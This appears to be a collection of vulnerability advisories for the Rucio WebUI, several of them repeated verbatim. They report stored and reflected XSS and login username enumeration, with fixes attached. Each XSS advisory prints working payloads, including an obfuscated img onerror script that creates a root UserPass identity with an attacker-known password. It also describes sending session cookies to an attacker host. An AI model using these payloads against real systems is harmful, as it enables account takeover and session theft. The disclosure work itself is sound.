rucio-webui

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path:
Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path:
Admin > RSE Management > RSE NAME

Request

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS Payload in RSE Attribute

XSS Payload triggering when viewing RSE

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

The identity name is stored and later rendered without output encoding.

Create Path:
Admin > Account Management > ACCOUNT NAME > Add Account Identity

Trigger Path:
Admin > Account Management > ACCOUNT NAME
(https://127.0.0.1:8443/ui/account?account=pentest)

Request

POST /proxy/accounts/pentest/identities HTTP/1.1
...
{"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS payload in account identity name

Triggering XSS payload when viewing account

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

References

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path:
Admin > RSE Management

Trigger Paths:
Admin > RSE Management
Admin > RSE Management > RSE NAME

Vulnerable Attributes:
City, Country_Name, ISP

Request

POST /proxy/rses/XSSTEST HTTP/1.1
...
{"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false}

Response

HTTP/1.1 201 CREATED
...
Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

• User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
  (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
• Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment

Reviewing rule creation requests

XSS Payload triggering on rule review

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

The WebUI login endpoint returns distinct error messages depending on whether a supplied username exists, allowing unauthenticated attackers to enumerate valid usernames.

Details

When submitting invalid credentials to /ui/login, the WebUI responds with different error messages based on the existence of the provided username (identity). A non-existent username results in an error indicating that no account is associated with the identity, while an existing username with an incorrect password produces a different authentication-related error.

This behavioral difference allows an attacker to distinguish valid usernames from invalid ones by observing the response content.

Proof of Concept

Bogus Login (Non-existent Username "15251087")
Response contains:

Cannot get find any account associated with 15251087 identity.

Bogus Login (Existing Username "root", Wrong Password)
Response contains:

Cannot get auth token. It is possible that the presented identity root is not mapped to any Rucio account root.

The difference in error messages confirms whether a username exists.

Impact

An unauthenticated attacker can enumerate valid usernames, which may be leveraged for targeted password guessing, credential stuffing, or social engineering attacks.

Remediation / Mitigation

Return a generic authentication failure message for all login errors, regardless of whether the username exists. Avoid disclosing account or identity existence through error responses. Consider implementing rate limiting or additional login throttling to further reduce abuse.

Reources:

• OWASP Authentication Cheat Sheet - Authentication and Error Messages: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#authentication-and-error-messages

Summary

A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.

Details

The WebUI error message renders ExceptionMessage (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in common.py - specifically error_headers -> _error_response -> generate_http_error_flask, which places ExceptionMessage into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in lib/rucio/web/ui/static/*.js such as rule.js, request_rule.js, list_rules.js) with jQuery.html(...) or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).

PoC

1. Reflected XSS via account parameter (browse or load URL in WebUI context):

https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E

Server response (excerpt):

HTTP/1.1 500 INTERNAL SERVER ERROR
ExceptionClass: AccountNotFound
ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist
Content-Type: application/octet-stream

{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}

XSS payload triggering (Displaying session token) when browsing to crafted URL

When the WebUI inserts ExceptionMessage into the page with .html(...), the injected executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

2. Reflected XSS via account key attribute creation error:

POST /proxy/accounts/pentest/attr/XSS HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://127.0.0.1:8443
X-Rucio-Script: webui::-ui-account
{"key":"XSS","value":"<script>alert(document.cookie)</script>"}

XSS payload triggering (Displaying session token) on error when creating account key

Server response (excerpt) contains ExceptionMessage with the raw <script> payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.

Impact

Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.

Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.

Example URL to Create UserPass for Root

https://localhost:8443/ui/account_rse_usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E

Account Payload to Create UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Creating identity for Root account via reflected XSS

All WebUI users are impacted.

Remediation / Mitigation

Change all client-side insertions of server-provided text from .html(...) to .text() or create text nodes / escape HTML before insertion. Example: replace $('#elem').html(msg) with $('#elem').empty().append($('<span>').text(msg)).

Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

References:

• Server functions: common.py (error_headers, _error_response, generate_http_error_flask)
• Example client files to fix: lib/rucio/web/ui/static/rule.js, lib/rucio/web/ui/static/request_rule.js, list_rules.js
• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path:
Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path:
Admin > RSE Management > RSE NAME

Request

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS Payload in RSE Attribute

XSS Payload triggering when viewing RSE

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

The identity name is stored and later rendered without output encoding.

Create Path:
Admin > Account Management > ACCOUNT NAME > Add Account Identity

Trigger Path:
Admin > Account Management > ACCOUNT NAME
(https://127.0.0.1:8443/ui/account?account=pentest)

Request

POST /proxy/accounts/pentest/identities HTTP/1.1
...
{"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS payload in account identity name

Triggering XSS payload when viewing account

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

References

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path:
Admin > RSE Management

Trigger Paths:
Admin > RSE Management
Admin > RSE Management > RSE NAME

Vulnerable Attributes:
City, Country_Name, ISP

Request

POST /proxy/rses/XSSTEST HTTP/1.1
...
{"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false}

Response

HTTP/1.1 201 CREATED
...
Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

• User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
  (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
• Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment

Reviewing rule creation requests

XSS Payload triggering on rule review

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Summary

The WebUI login endpoint returns distinct error messages depending on whether a supplied username exists, allowing unauthenticated attackers to enumerate valid usernames.

Details

When submitting invalid credentials to /ui/login, the WebUI responds with different error messages based on the existence of the provided username (identity). A non-existent username results in an error indicating that no account is associated with the identity, while an existing username with an incorrect password produces a different authentication-related error.

This behavioral difference allows an attacker to distinguish valid usernames from invalid ones by observing the response content.

Proof of Concept

Bogus Login (Non-existent Username "15251087")
Response contains:

Cannot get find any account associated with 15251087 identity.

Bogus Login (Existing Username "root", Wrong Password)
Response contains:

Cannot get auth token. It is possible that the presented identity root is not mapped to any Rucio account root.

The difference in error messages confirms whether a username exists.

Impact

An unauthenticated attacker can enumerate valid usernames, which may be leveraged for targeted password guessing, credential stuffing, or social engineering attacks.

Remediation / Mitigation

Return a generic authentication failure message for all login errors, regardless of whether the username exists. Avoid disclosing account or identity existence through error responses. Consider implementing rate limiting or additional login throttling to further reduce abuse.

Reources:

• OWASP Authentication Cheat Sheet - Authentication and Error Messages: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#authentication-and-error-messages